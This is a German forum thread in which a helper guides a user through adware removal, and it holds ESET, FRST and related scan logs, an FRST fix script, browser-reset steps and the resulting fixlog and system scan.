   Scan mode . . . . . . : Normal
   Scan duration . . . . : 1m 34s
   Disk access mode  . . : Direct disk access (SRB)
   Cloud . . . . . . . . : Internet
   Reboot  . . . . . . . : No

   Threats . . . . . . . : 0
   Traces  . . . . . . . : 2

   Objects scanned . . . : 1.731.855
   Files scanned . . . . : 25.081
   Remnants scanned  . . : 369.347 files / 1.337.427 keys

Suspicious files ____________________________________________________________

   C:\Users\****\Desktop\FRST-OlderVersion\FRST64.exe
      Size . . . . . . . : 2.433.536 bytes
      Age  . . . . . . . : 5.2 days (2017-06-02 17:42:19)
      Entropy  . . . . . : 7.6
      SHA-256  . . . . . : FE14D9CE6A7E6B6027AE58EDFA4AD710E822249417D951CFBE17EABEBABD9C85
      Needs elevation  . : Yes
      Fuzzy  . . . . . . : 24.0
         Program has no publisher information but prompts the user for permission elevation.
         Entropy (or randomness) indicates the program is encrypted, compressed or obfuscated. This is not typical for most programs.
         Authors name is missing in version info. This is not common to most programs.
         Version control is missing. This file is probably created by an individual. This is not typical for most programs.
         Time indicates that the file appeared recently on this computer.

   C:\Users\****\Desktop\FRST64.exe
      Size . . . . . . . : 2.435.072 bytes
      Age  . . . . . . . : 0.0 days (2017-06-07 23:01:08)
      Entropy  . . . . . : 7.6
      SHA-256  . . . . . : 421AA5868869489A2DAE21E1FCD4D13791D3142A0A88D057ECEA602A0C3BB8C3
      Needs elevation  . : Yes
      Fuzzy  . . . . . . : 24.0
         Program has no publisher information but prompts the user for permission elevation.
         Entropy (or randomness) indicates the program is encrypted, compressed or obfuscated. This is not typical for most programs.
         Authors name is missing in version info. This is not common to most programs.
         Version control is missing. This file is probably created by an individual. This is not typical for most programs.
         Time indicates that the file appeared recently on this computer.

ESET:
Code:
ESETSmartInstaller@High as downloader log:
all ok
# product=EOS
# version=8
# OnlineScannerApp.exe=1.0.0.1
# EOSSerial=172004e16b0edb46904b707f6825dc1d
# end=init
# utc_time=2017-06-07 09:07:40
# local_time=2017-06-07 11:07:40 (+0100, Mitteleuropäische Sommerzeit)
# country="Germany"
# osver=6.2.9200 NT
Update Init
Update Download
Update Finalize
Updated modules version: 33649
# product=EOS
# version=8
# OnlineScannerApp.exe=1.0.0.1
# EOSSerial=172004e16b0edb46904b707f6825dc1d
# end=updated
# utc_time=2017-06-07 09:09:39
# local_time=2017-06-07 11:09:39 (+0100, Mitteleuropäische Sommerzeit)
# country="Germany"
# osver=6.2.9200 NT
# product=EOS
# version=8
# OnlineScannerApp.exe=1.0.0.1
# OnlineScanner.ocx=1.0.0.7777
# api_version=3.1.1
# EOSSerial=172004e16b0edb46904b707f6825dc1d
# engine=33649
# end=finished
# remove_checked=false
# archives_checked=true
# unwanted_checked=true
# unsafe_checked=false
# antistealth_checked=true
# utc_time=2017-06-07 09:51:20
# local_time=2017-06-07 11:51:20 (+0100, Mitteleuropäische Sommerzeit)
# country="Germany"
# lang=1031
# osver=6.2.9200 NT
# compatibility_mode_1=''
# compatibility_mode=5893 16776574 100 94 96419 7005276 0 0
# scanned=313318
# found=24
# cleaned=0
# scan_time=2501
sh=B16B1DE7FFAFA5BD4D7ADB767B40516698F72C9B ft=1 fh=491523b26eeaee2a vn="Variante von Win64/Riskware.NetFilter.R Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\axhzlojlfwmllcgnwoloaxwjadiicood.back"
sh=AFFDAF63A959DCBE30EC8F6A5E567E30F30C3A20 ft=1 fh=a7244ce0ca5ee523 vn="Variante von Win32/Adware.Agent.NPN Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\phwstfciyqwkaseupooynqpxuwyzjnwj.back"
sh=BDFE1051D3ABBC4EF23FF00E51E3C9B76290DD31 ft=1 fh=9f4b1fe7e6383fea vn="Variante von Win32/Jawego.D eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\acvaqzajvzubcurffirvdwufeilgthfg\emsetup.exe"
sh=C6585F5B15F2AC23A9112451DD4C5C0268B1C457 ft=1 fh=5feca4a79c2dd30b vn="Variante von Win32/SuperTuneup.B eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\acvaqzajvzubcurffirvdwufeilgthfg\PCCleanPlus.exe"
sh=CF3192F6AAF3EE95437EDD5E16F6FABE627454D4 ft=1 fh=9693ea7b617f4684 vn="Variante von Win32/Taobao.F eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\cwynwdxopchlwuncwipuoyyxhzcbrznq\Bin\ChannelU.dll"
sh=ECC4BBED22FD5F57C4B3EB1BF927D966754DF864 ft=1 fh=9c73494d6bbf3c4e vn="Variante von Win32/Adware.Agent.NPN Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\epfamfldedxlxvnvpvkktmkpzgqqbhap\HelpTool.dll"
sh=B0D9531D85CB5C63B46400ED9BB8199922B4E54E ft=1 fh=6eea51b3ec706d37 vn="Variante von Win32/Adware.Eszjuxuan.A Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\epfamfldedxlxvnvpvkktmkpzgqqbhap\YeaDesktop.exe"
sh=6F86B0C40819785B3F42F4E5DCF8513BA2DFF3F8 ft=1 fh=e3f410659c8acd62 vn="Variante von Win32/ProxyGate.A eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\gayxchxnzlhhwwyfxayknabryfwajxjy\MainService.exe"
sh=0C0C68AF84FC2970F8494E0B781812981F36F77E ft=1 fh=31dde2c0b3b8597c vn="Variante von Win32/ProxyGate.A eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\gayxchxnzlhhwwyfxayknabryfwajxjy\PGChk.exe"
sh=F3B9857A368514A6BF35626F6769E4387EDE8DA3 ft=1 fh=efdd74c811ae89b7 vn="Variante von Win32/ProxyGate.A eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\gayxchxnzlhhwwyfxayknabryfwajxjy\ProxyGate.exe"
sh=EE05E27A26C3852A835A007ADD1B89AFE5DD9B88 ft=1 fh=389f12129e92bc03 vn="Variante von Win32/ProxyGate.A eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\gayxchxnzlhhwwyfxayknabryfwajxjy\TrafficMonitor.exe"
sh=0A954DE1AD57FAC14B8E1093BC51829E1CD8AA1A ft=1 fh=ad2a9341c985c0b9 vn="Variante von Win32/Deceptor.SystemHealer.A Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\jlhmrrlrlmcfvqbocaftxtdvsqmskzcm\HealerConsole.exe"
sh=1FA2A9C019D321067CE9AE322A5C05F096C5F061 ft=1 fh=4121f3e18e6b36a1 vn="Variante von Win32/Adware.Adposhel.X Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\jlhmrrlrlmcfvqbocaftxtdvsqmskzcm\RescueMonitor.exe"
sh=F146DACC80FEFA06BD81AA2928C0C590AD2A5086 ft=1 fh=1b315b6eb78dffc9 vn="Variante von Win32/Deceptor.SystemHealer.A Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\jlhmrrlrlmcfvqbocaftxtdvsqmskzcm\SystemHealer.exe"
sh=A373EBC770CCE177E51695479309C1AF55974805 ft=1 fh=8daaad833d42c20e vn="Variante von Win32/Deceptor.SystemHealer.A Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\jlhmrrlrlmcfvqbocaftxtdvsqmskzcm\Uninstaller.exe"
sh=EEE6A904175D4F85C6C2B09DEE04ABFD39EEBA89 ft=1 fh=7fe1730ae29aaf68 vn="Variante von Win32/Jawego.D eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\vfbdqreoumaibaidroxjkhsjxamtgktv\em.exe"
sh=EA8F2CEC078F5369CE877C81D3F709D6FCF5DDE1 ft=1 fh=307c47462dcd751b vn="Variante von Win32/Jawego.C eventuell unerwünschte Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\vgiwgcowpncqiemriqhtqenbwnfpushu\pccleanplus.exe"
sh=CC9F655417921264A1673F5473FD0247DA81C301 ft=1 fh=bcaf1607da3b1e37 vn="Variante von Generik.CJUCHKW Trojaner" ac=I fn="C:\AdwCleaner\quarantine\files\vgiwgcowpncqiemriqhtqenbwnfpushu\uninstaller.exe"
sh=240B1FFE7220FF853DEC1F3139AE926AECC55890 ft=1 fh=5e35ff16c4e406cb vn="Variante von MSIL/Adware.OxyPumper.AA Anwendung" ac=I fn="C:\AdwCleaner\quarantine\files\xoxmbrxdxhtaetchhyqepaqwbffaifns\vmdiag.exe"
sh=17823A75CF929590D73405EE46EFA4364BEAE31E ft=1 fh=2f1fbb77134fc05c vn="Variante von MSIL/Adware.CsdiMonetize.K Anwendung" ac=I fn="C:\FRST\Quarantine\C\Program Files\INTERNET EXPLORER\056X34297Y\Y'JkDl1g3a.exe"
sh=D22E10F458A9597EE7BE791B76A98F442D7AE312 ft=1 fh=6a1495e05d5fb66a vn="Variante von Win32/Adware.ELEX.QL Anwendung" ac=I fn="C:\FRST\Quarantine\C\Program Files (x86)\Ferbis\fastfind.dll"
sh=67D021F426C7469ADDCD79E376749334ADF393B1 ft=1 fh=8144cece57c50e5a vn="Variante von Win32/Adware.ELEX.QG Anwendung" ac=I fn="C:\FRST\Quarantine\C\Program Files (x86)\Ferbis\goopdate.dll"
sh=2787380B27185780CF3CD28CC0CC7604A73ABB42 ft=1 fh=8ccf816383022d33 vn="Variante von Win32/Adware.Zdengo.V Anwendung" ac=I fn="C:\FRST\Quarantine\C\windows\eb40a68307d6d6774101e0cc417db863.exe.xBAD"
sh=27949493702C6C02FC7BDA802E258B09F3679076 ft=1 fh=b360d79adb21dd62 vn="Variante von MSIL/Adware.CsdiMonetize.O Anwendung" ac=I fn="C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12\Uvc8ar6pQv.exe"
Mein Laptop läuft jetzt seit einigen Tagen flüssig, ich habe keine Adware, ungewünschte Werbung oder Verlangsamung mehr.

Das einzige, was noch auffällt ist, dass Malwarebytes die Meldung ,,initalpage123.com wurde blockiert'' gibt, sobald ich den Browser öffne. Google ich etwas, erhalte ich kein Suchergebniss, sondern nur eine Seite von Malwarebytes: ,,has blocked a potentially malicious website.''

M-K-D-B 08.06.2017 12:51
Servus,



die FRST.txt kannst du auch gerne als Anhang hochladen, wenn sie wieder so lang ist.

Bekommst du nach den Schritten immer noch die Meldungen von MBAM?





Schritt 1
  • Kopiere den Inhalt der folgenden Code-Box:
    Code:
    Start::
    CloseProcesses:
    C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12
    EmptyTemp:
    End::
  • Starte nun FRST und klicke den Entfernen Button.
  • Das Tool führt die gewünschten Schritte aus und erstellt eine fixlog.txt im selben Verzeichnis, in dem sich die FRST/FRST64.exe befindet.
  • Gegebenenfalls muss dein Rechner dafür neu gestartet werden.
  • Poste mir den Inhalt der fixlog.txt mit deiner nächsten Antwort.





Schritt 2
Bitte setze deine Brower wie folgt zurück:

IE :::
Setze folgendermassen den Internet Explorer zurück:
  • Öffne den Internet Explorer und gehe zu Extras -> Internetoptionen.
  • Klicke in der Registerkarte Erweitert unter "Internet Explorer-Einstellungen zurücksetzen" auf Zurücksetzen...
  • Klicke im Dialogfeld "Internet Explorer-Einstellungen zurücksetzen" zum Bestätigen auf Zurücksetzen.
(Hier findest du die bebilderte Anleitung.)

EDGE :::
Edge zurücksetzen

FF :::
Firefox zurücksetzen

CHR:::
Chrome zurücksetzen

OPR::
Opera zurücksetzen






Schritt 3
  • Starte die FRST.exe erneut. Vergewissere dich, dass vor Addition.txt ein Haken gesetzt ist.
  • Setze einen Haken vor Shortcut.txt und drücke auf Untersuchen.
  • FRST erstellt nun drei Logdateien (FRST.txt, Addition.txt und Shortcut.txt).
  • Poste mir alle drei Logdateien mit deiner nächsten Antwort.








Bitte poste mit deiner nächsten Antwort
  • die Logdatei des FRST-Fix,
  • die drei neuen Logdateien von FRST.

Twix. 08.06.2017 13:34
fixlog:
Code:
Entferungsergebnis von Farbar Recovery Scan Tool (x64) Version: 07-06-2017 01
durchgeführt von **** (08-06-2017 14:23:31) Run:4
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Start-Modus: Normal
==============================================

fixlist Inhalt:
*****************

CloseProcesses:
C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12
EmptyTemp:

*****************

Prozesse erfolgreich geschlossen.
C:\Program Files\Windows Photo Viewer\PF9EN7MZPG8PJRT7XQ49IUO12 => erfolgreich verschoben

=========== EmptyTemp: ==========

BITS transfer queue => 8937472 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 4302631 B
Java, Flash, Steam htmlcache => 138240 B
Windows/system/drivers => 0 B
Edge => 0 B
Chrome => 0 B
Firefox => 27210309 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 128 B
systemprofile32 => 0 B
LocalService => 1634 B
NetworkService => 0 B
**** => 1855957 B

RecycleBin => 0 B
EmptyTemp: => 40.5 MB temporäre Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 14:23:34 ====
FRST1:
Code:
Untersuchungsergebnis von Farbar Recovery Scan Tool (FRST) (x64) Version: 07-06-2017 01
durchgeführt von **** (Administrator) auf WHOPPER (08-06-2017 14:28:10)
Gestartet von C:\Users\****\Desktop
Geladene Profile: **** (Verfügbare Profile: ****)
Platform: Windows 10 Home Version 1703 (X64) Sprache: Deutsch (Deutschland)
Internet Explorer Version 11 (Standard-Browser: FF)
Start-Modus: Normal
Anleitung für Farbar Recovery Scan Tool: hxxp://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/

==================== Prozesse (Nicht auf der Ausnahmeliste) =================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Prozess geschlossen. Die Datei wird nicht verschoben.)

(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe
(Intel Corporation) C:\Windows\System32\ibtsiva.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HotkeyService.exe
(Insyde Software Corp.) C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe
(Intel(R) Corporation) C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe
(TeamViewer GmbH) C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\MBAMService.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NvContainer\nvcontainer.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPEnh.exe
(Microsoft Corporation) C:\Windows\Microsoft.NET\Framework64\v3.0\WPF\PresentationFontCache.exe
(Intel Corporation) C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxEM.exe
(Synaptics Incorporated) C:\Program Files\Synaptics\SynTP\SynTPHelper.exe
(IvoSoft) C:\Program Files\Classic Shell\ClassicStartMenu.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe
(Microsoft Corporation) C:\Windows\System32\smartscreen.exe
(TeamSpeak Systems GmbH) C:\Program Files\TeamSpeak 3 Client\ts3client_win64.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvtray.exe
(Microsoft Corporation) C:\Program Files\Windows Defender\MSASCuiL.exe
(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe
(Microsoft Corporation) C:\Windows\System32\rundll32.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvspcaps64.exe
(Malwarebytes) C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\Overwolf.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\HkeyTray.exe
(Creative Technology Ltd) C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\ShadowPlay\nvsphelper64.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\0.104.210.0\OverwolfTSHelper.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(Overwolf LTD) C:\Program Files (x86)\Overwolf\0.104.210.0\OverwolfBrowser.exe
(NVIDIA Corporation) C:\Program Files (x86)\NVIDIA Corporation\NVIDIA GeForce Experience\NVIDIA Share.exe
(Node.js) C:\Program Files (x86)\NVIDIA Corporation\NvNode\NVIDIA Web Helper.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper.exe
(Overwolf LTD) C:\Program Files (x86)\Common Files\Overwolf\0.104.210.0\OverwolfHelper64.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe
(CLEVO CO.) C:\Program Files (x86)\Hotkey\ComboKeyTray.exe
(NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamuseragent.exe
(Valve Corporation) D:\Steam\Steam.exe
(Valve Corporation) D:\Steam\bin\cef\cef.win7\steamwebhelper.exe
(Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe
(Intel Corporation) C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe
(Intel Corporation) C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\LMS\LMS.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Mozilla Corporation) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
(Microsoft Corporation) C:\Windows\System32\InstallAgent.exe
(Microsoft Corporation) C:\Windows\System32\InstallAgentUserBroker.exe
(Microsoft Corporation) C:\Windows\System32\dllhost.exe
(Microsoft Corporation) C:\Windows\System32\wbem\WMIADAP.exe

==================== Registry (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt. Die Datei wird nicht verschoben.)

HKLM\...\Run: [SecurityHealth] => C:\Program Files\Windows Defender\MSASCuiL.exe [629152 2017-03-18] (Microsoft Corporation)
HKLM\...\Run: [RTHDVCPL] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [16781824 2017-04-12] (Realtek Semiconductor)
HKLM\...\Run: [ShadowPlay] => "C:\windows\system32\rundll32.exe" C:\windows\system32\nvspcap64.dll,ShadowPlayOnSystemStart
HKLM\...\Run: [MBCfg64] => C:\windows\system32\RunDLL32.exe C:\windows\system32\MBCfg64.dll,RunDLLEntry MBCfg64
HKLM\...\Run: [IAStorIcon] => C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorIcon.exe [320568 2016-09-20] (Intel Corporation)
HKLM\...\Run: [Classic Start Menu] => C:\Program Files\Classic Shell\ClassicStartMenu.exe [163800 2016-07-30] (IvoSoft)
HKLM\...\Run: [Malwarebytes TrayApp] => C:\PROGRAM FILES\MALWAREBYTES\ANTI-MALWARE\mbamtray.exe [3146704 2017-05-09] (Malwarebytes)
HKLM-x32\...\Run: [Sound Blaster Cinema 3] => C:\Program Files (x86)\Creative\Sound Blaster Cinema 3\Sound Blaster Cinema 3\SBCinema3.exe [1464832 2016-07-29] (Creative Technology Ltd)
HKLM-x32\...\Run: [UpdReg] => C:\windows\UpdReg.EXE [90112 2000-05-11] (Creative Technology Ltd.)
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Overwolf] => C:\Program Files (x86)\Overwolf\OverwolfLauncher.exe [1058360 2017-05-14] ()
HKU\S-1-5-21-743485210-3963512150-464095969-1003\...\Run: [Steam] => D:\Steam\steam.exe [3042592 2017-06-08] (Valve Corporation)
Startup: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\NewShortcut1.lnk [2017-05-12]
ShortcutTarget: NewShortcut1.lnk -> C:\Program Files (x86)\Hotkey\HkeyTray.exe (CLEVO CO.)

==================== Internet (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Eintrag entfernt oder auf den Standardwert zurückgesetzt, wenn es sich um einen Registryeintrag handelt.)

Tcpip\Parameters: [DhcpNameServer] 192.168.178.1
Tcpip\Parameters: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{05350888-1e85-11e7-9c91-806e6f6e6963}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{0c3a027a-71f5-4ae6-a09f-b43447e4bedf}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{21091673-449d-4377-bff3-92ec5412ab18}: [DhcpNameServer] 192.168.178.1
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{2330fd66-d402-4ecc-a6e1-0089109ba6d1}: [DhcpNameServer] 8.8.8.8
Tcpip\..\Interfaces\{342f28b7-2f96-4d98-90c7-8e4ffe97a81f}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [NameServer] 8.8.8.8
Tcpip\..\Interfaces\{b5b82594-73d0-42da-a9b0-98d0d6569371}: [DhcpNameServer] 8.8.8.8

Internet Explorer:
==================
HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKLM\Software\Wow6432Node\Microsoft\Internet Explorer\Main,Start Page = hxxp://www.mysn.de
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Start Page =
HKU\S-1-5-21-743485210-3963512150-464095969-1003\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = www.mysn.de

FireFox:
========
FF DefaultProfile: l2wji8r3.default-1496924802324
FF ProfilePath: C:\Users\****\AppData\Roaming\Mozilla\Firefox\Profiles\l2wji8r3.default-1496924802324 [2017-06-08]
FF Plugin-x32: @microsoft.com/OfficeLive,version=1.5 -> C:\Program Files (x86)\Microsoft\Office Live\npOLW.dll [2010-04-26] (Microsoft Corp.)
FF Plugin-x32: @nvidia.com/3DVision -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dv.dll [2017-05-01] (NVIDIA Corporation)
FF Plugin-x32: @nvidia.com/3DVisionStreaming -> C:\Program Files (x86)\NVIDIA Corporation\3D Vision\npnv3dvstreaming.dll [2017-05-01] (NVIDIA Corporation)

Chrome:
=======
CHR HKLM-x32\...\Chrome\Extension: [ccjleegmemocfpghkhpjmiccjcacackp] - hxxps://clients2.google.com/service/update2/crx

==================== Dienste (Nicht auf der Ausnahmeliste) ====================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 cphs; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHeciSvc.exe [284144 2016-11-21] (Intel Corporation)
R2 cplspcon; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\IntelCpHDCPSvc.exe [462832 2016-11-21] (Intel Corporation)
R2 HKClipSvc; C:\Program Files (x86)\Hotkey\Driver\x64\HKClipSvc.exe [256480 2015-11-26] (Insyde Software Corp.)
R2 IAStorDataMgrSvc; C:\Program Files\Intel\Intel(R) Rapid Storage Technology\IAStorDataMgrSvc.exe [17976 2016-09-20] (Intel Corporation)
R2 igfxCUIService2.0.0.0; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igfxCUIService.exe [324592 2016-11-21] (Intel Corporation)
S3 Intel(R) Capability Licensing Service TCP IP Interface; C:\Program Files\Intel\iCLS Client\SocketHeciServer.exe [630048 2016-10-13] (Intel(R) Corporation)
R3 Intel(R) Online Connect; C:\Program Files\Intel\Intel(R) Online Connect\ioc.exe [25312 2016-11-01] (Intel Corporation)
S2 Intel(R) Online Connect Helper; C:\Program Files\Intel\Intel(R) Online Connect\iocHelperService.exe [34528 2016-11-01] (Intel Corporation)
S3 Intel(R) Online Connect Software Asset Manager; C:\Program Files (x86)\Intel\Intel(R) Online Connect Access\Intel(R) Software Asset Manager\bin\IntelSoftwareAssetManagerService.exe [18152 2016-10-14] (Intel Corporation)
R2 Intel(R) TechnologyAccessLegacyCSLoader; C:\Program Files\Intel\Intel(R) Online Connect Access\LegacyCsLoaderService.exe [173288 2016-10-17] (Intel(R) Corporation)
R2 Intel(R) TechnologyAccessService; C:\Program Files\Intel\Intel(R) Online Connect Access\IntelTechnologyAccessService.exe [496872 2016-10-17] (Intel(R) Corporation)
R2 jhi_service; C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\DAL\jhi_service.exe [177440 2016-11-08] (Intel Corporation)
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4470736 2017-05-09] (Malwarebytes)
R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [495224 2017-05-03] (NVIDIA Corporation)
R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [462968 2017-05-01] (NVIDIA Corporation)
R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [450168 2017-05-03] (NVIDIA Corporation)
S3 OverwolfUpdater; C:\Program Files (x86)\Overwolf\OverwolfUpdater.exe [1326408 2017-05-14] (Overwolf LTD)
R2 PowerBiosServer; C:\Program Files (x86)\Hotkey\HotkeyService.exe [33280 2016-12-05] (CLEVO CO.) [Datei ist nicht signiert]
R2 SynTPEnhService; C:\Program Files\Synaptics\SynTP\SynTPEnhService.exe [257624 2017-02-07] (Synaptics Incorporated)
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10884848 2017-05-23] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)
R2 ibtsiva; %SystemRoot%\system32\ibtsiva [X]

===================== Treiber (Nicht auf der Ausnahmeliste) ======================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R3 AirplaneModeHid; C:\windows\system32\DRIVERS\AirplaneModeHid.sys [33496 2015-10-01] (Insyde Corporation)
R1 ESProtectionDriver; C:\windows\system32\drivers\mbae64.sys [77376 2017-05-31] ()
R0 FPWinIo; C:\windows\System32\drivers\FPWinIo.sys [23536 2014-10-07] (Egis Technology Inc.)
R3 HKKbdFltr; C:\windows\system32\DRIVERS\HKKbdFltr.sys [51400 2015-11-26] (Insyde Software Corp.)
R3 HKMouFltr; C:\windows\system32\DRIVERS\HKMouFltr.sys [48344 2015-11-26] (Insyde Software Corp.)
R3 ibtusb; C:\windows\system32\DRIVERS\ibtusb.sys [173576 2017-03-10] (Intel Corporation)
R3 igfx; C:\windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_a88bf6b18b1da077\igdkmd64.sys [11039704 2016-11-21] (Intel Corporation)
R2 MBAMChameleon; C:\windows\system32\drivers\MBAMChameleon.sys [188312 2017-06-03] (Malwarebytes)
R3 MBAMFarflt; C:\windows\system32\drivers\farflt.sys [113592 2017-06-08] (Malwarebytes)
R3 MBAMProtection; C:\windows\system32\drivers\mbam.sys [44960 2017-06-08] (Malwarebytes)
R0 MBAMSwissArmy; C:\windows\System32\drivers\MBAMSwissArmy.sys [252832 2017-06-08] (Malwarebytes)
R3 MBAMWebProtection; C:\windows\system32\drivers\mwac.sys [93600 2017-06-08] (Malwarebytes)
R1 ndisrd; C:\windows\system32\DRIVERS\ndisrfl.sys [59792 2016-09-13] (Intel Corporation)
